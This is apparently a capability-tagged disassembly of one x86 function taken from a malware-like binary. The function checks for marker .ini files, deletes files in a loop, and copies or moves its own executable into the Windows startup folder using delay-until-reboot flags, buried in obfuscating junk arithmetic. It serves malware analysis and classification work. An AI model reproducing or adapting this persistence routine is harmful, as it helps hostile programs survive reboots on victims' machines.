Function at 0x40df10
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x45e540]
xor eax, esp
mov dword [esp + 0x300], eax
push ebx
push esi
mov esi, dword [0x45cbe4]
mov eax, 0x1b2eb4bf
imul esi
mov eax, dword [0x45cbd0]
sar edx, 0x14
mov ecx, edx
push edi
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbcc]
lea edi, [eax + edx]
mov eax, 0x2900b7f9
imul edi, edi, 0x8616f6
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
mov ebx, dword [0x45cbe0]
imul edx, edx, 0x41d422
sub edi, eax
imul ebx, ebx, 0x85c28b
add edi, edx
mov eax, 0xa3c4e0d7
imul esi
add edx, esi
mov esi, dword [str._r_____r____]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbc8]
add ebx, ecx
add ebx, edi
add eax, ebx
mov dword [0x45cbdc], eax
mov eax, dword [0x45cbd4]
lea edi, [eax + edx]
mov eax, 0x3e13b50f
imul edi, edi, 0x670b79
imul esi
imul esi, esi, 0x640b17
sar edx, 0x14
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45cbd8]
mov eax, 0x7a2fd6e1
imul edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xa3c4e0d7
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, esi
sub ebx, ecx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45cbe4], ebx
call fcn.0043027d
add esp, 8
cmp eax, 0xffffffff
je 0x40e4d7
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.0043027d
add esp, 8
cmp eax, 0xffffffff
je 0x40e4d7
mov ecx, dword [0x45cbe4]
mov esi, dword [0x45cbc8]
mov eax, 0x2900b7f9
imul esi, esi, 0x41d422
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45cbd0]
mov eax, 0x3e38df13
imul ecx
sar edx, 0x14
add esi, edx
mov edi, edx
mov edx, dword [0x45cbe0]
imul edx, edx, 0x32d358
shr edi, 0x1f
add edi, esi
sub edi, edx
mov eax, 0x5ef6c237
imul ecx
sar edx, 0x15
mov esi, edx
add edi, edx
mov eax, 0x3d3e7a09
imul ecx
sar edx, 0x15
shr esi, 0x1f
mov eax, edx
push 0x104
add esi, edi
lea ecx, [esp + 0x210]
shr eax, 0x1f
add esi, edx
push ecx
add eax, esi
push 0
mov dword [0x45cbc8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x20c]
push 0x5c
push edx
call fcn.00430ce0
mov esi, eax
push str..exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x1c]
push str._s_s
push ecx
inc esi
call fcn.0042fee1
mov ecx, dword [0x45cbd0]
mov edi, dword [0x45cbc8]
mov eax, 0x3e13b50f
imul edi, edi, 0x63e546
imul ecx
mov ecx, dword [0x45cbd8]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3e38df13
imul ecx
imul ecx, ecx, 0x96af7c
sar edx, 0x14
mov ebx, edx
add edi, edx
mov edx, dword [0x45cbe8]
imul edx, edx, 0x53439e
shr ebx, 0x1f
add ebx, edi
add ebx, edx
add ebx, ecx
mov ecx, dword [0x45cbdc]
mov eax, 0x1b2eb4bf
add esp, 0x18
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x45cbe4]
push 0
push 0x18
lea ecx, [esp + 0x114]
sub ebx, eax
push ecx
sub ebx, 0x41d422
push 0
mov dword [0x45cbd0], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x10c]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e193
push ebp
sub eax, ecx
push esi
lea edx, [esp + eax + 0x114]
push 0x44d274
push edx
call fcn.0042fee1
mov edi, dword [0x45cbe8]
mov eax, 0xa1093dc9
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x6262bd7d
imul edi
mov ecx, edi
imul ecx, ecx, 0x41d422
sar edx, 0x15
sub esi, ecx
mov ebp, edx
add esi, edx
shr ebp, 0x1f
add ebp, esi
mov esi, dword [0x45cbd4]
mov eax, 0xa3c4e0d7
imul esi
mov ebx, dword [0x45cbe0]
add edx, esi
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0x640b17
sub ebp, ecx
add ebp, edx
mov eax, 0x4f7fd81
imul ebx
imul ebx, ebx, 0x670b79
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ebp, edx
add ecx, ebp
add ecx, ebx
add esp, 0xc
mov dword [0x45cbd8], ecx
xor ebx, ebx
jmp 0x40e250
mov ecx, dword [0x45cbd8]
mov esi, dword [0x45cbd4]
mov edi, dword [0x45cbe8]
nop
mov eax, dword [0x45cbd0]
imul esi, esi, 0x53439e
imul ecx, ecx, 0x85c28b
mov edx, dword [0x45cbcc]
lea ebp, [edi + eax]
mov eax, 0x3e13b50f
imul ebp, ebp, 0x41fb8b
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0x41d422
sub ebp, eax
sub ebp, edx
mov eax, 0x7a2fd6e1
imul edi
sar edx, 0x16
sub ebp, esi
add ebp, ecx
mov eax, edx
shr eax, 0x1f
add ebp, edx
lea ecx, [esp + 0x10]
add eax, ebp
push 0
push ecx
mov dword [0x45cbe0], eax
call fcn.0043027d
add esp, 8
cmp eax, 0xffffffff
je 0x40e2d6
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc ebx
cmp ebx, 0x64
jl 0x40e23d
mov ecx, dword [0x45cbd0]
mov eax, dword [0x45cbd8]
mov esi, dword [0x45cbe4]
lea ebx, [eax + ecx]
imul ecx, ecx, 0x640b17
imul ebx, ebx, 0x5643ad
mov edx, esi
imul edx, edx, 0x41d422
mov edi, dword [0x45cbc8]
sub ebx, edx
mov eax, 0x3d3e7a09
imul dword [str._r_____r____]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xa3c4e0d7
imul edi
add edx, edi
sar edx, 0x16
add ebx, edx
mov ebp, edx
mov eax, 0x4f7fd81
imul edi
shr ebp, 0x1f
add ebp, ebx
mov ebx, dword [esp + 0x318]
sub ebp, ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ebp, edx
add ecx, ebp
test ebx, ebx
mov dword [0x45cbe8], ecx
je 0x40e361
cmp ebx, 2
jne 0x40e43d
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x18]
push edx
call edi
test eax, eax
jne 0x40e431
mov ecx, dword [0x45cbcc]
mov ebx, dword [0x45cbdc]
mov eax, dword [0x45cbe8]
imul ebx, ebx, 0x63e546
mov esi, dword [0x45cbd4]
imul eax, eax, 0x53439e
add ebx, eax
mov edx, ecx
imul edx, edx, 0x5643ad
add ebx, edx
mov eax, 0x1b2eb4bf
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x1b2eb4bf
imul ecx
sar edx, 0x14
mov ebp, edx
add ebx, edx
mov eax, 0x7a2fd6e1
imul ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xa3c4e0d7
imul esi
shr ebp, 0x1f
add edx, esi
sar edx, 0x16
add ebp, ebx
sub ebp, ecx
mov eax, edx
push 6
add ebp, edx
lea ecx, [esp + 0x114]
shr eax, 0x1f
push ecx
lea edx, [esp + 0x18]
add eax, ebp
push edx
mov dword [str._r_____r____], eax
call edi
mov eax, 0xfffffffe
pop ebp
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x300]
xor ecx, esp
call fcn.0042fd0d
add esp, 0x304
ret
mov esi, dword [0x45cbe4]
mov ecx, dword [0x45cbe8]
mov edi, dword [0x45cbd4]
imul esi, esi, 0x41d422
imul ecx, ecx, 0x53439e
mov eax, 0x2900b7f9
imul edi
mov eax, dword [0x45cbe0]
sar edx, 0x14
imul eax, eax, 0x5643ad
mov ebp, edx
shr ebp, 0x1f
add ebp, edx
add ebp, esi
sub ebp, ecx
mov ecx, dword [0x45cbcc]
add ebp, eax
mov eax, 0xa3c4e0d7
imul edi
add edx, edi
sar edx, 0x16
add ebp, edx
mov esi, edx
mov eax, 0x4f7fd81
imul ecx
shr esi, 0x1f
sar edx, 0x11
add esi, ebp
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
sub ecx, dword [str._r_____r____]
add ecx, 0x41fb8b
cmp ebx, 1
mov dword [0x45cbcc], ecx
je 0x40e4bb
cmp ebx, 2
jne 0x40e4d0
push 0
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40e418
mov ecx, dword [esp + 0x30c]
pop edi
pop esi
pop ebx
xor ecx, esp
or eax, 0xffffffff
call fcn.0042fd0d
add esp, 0x304
ret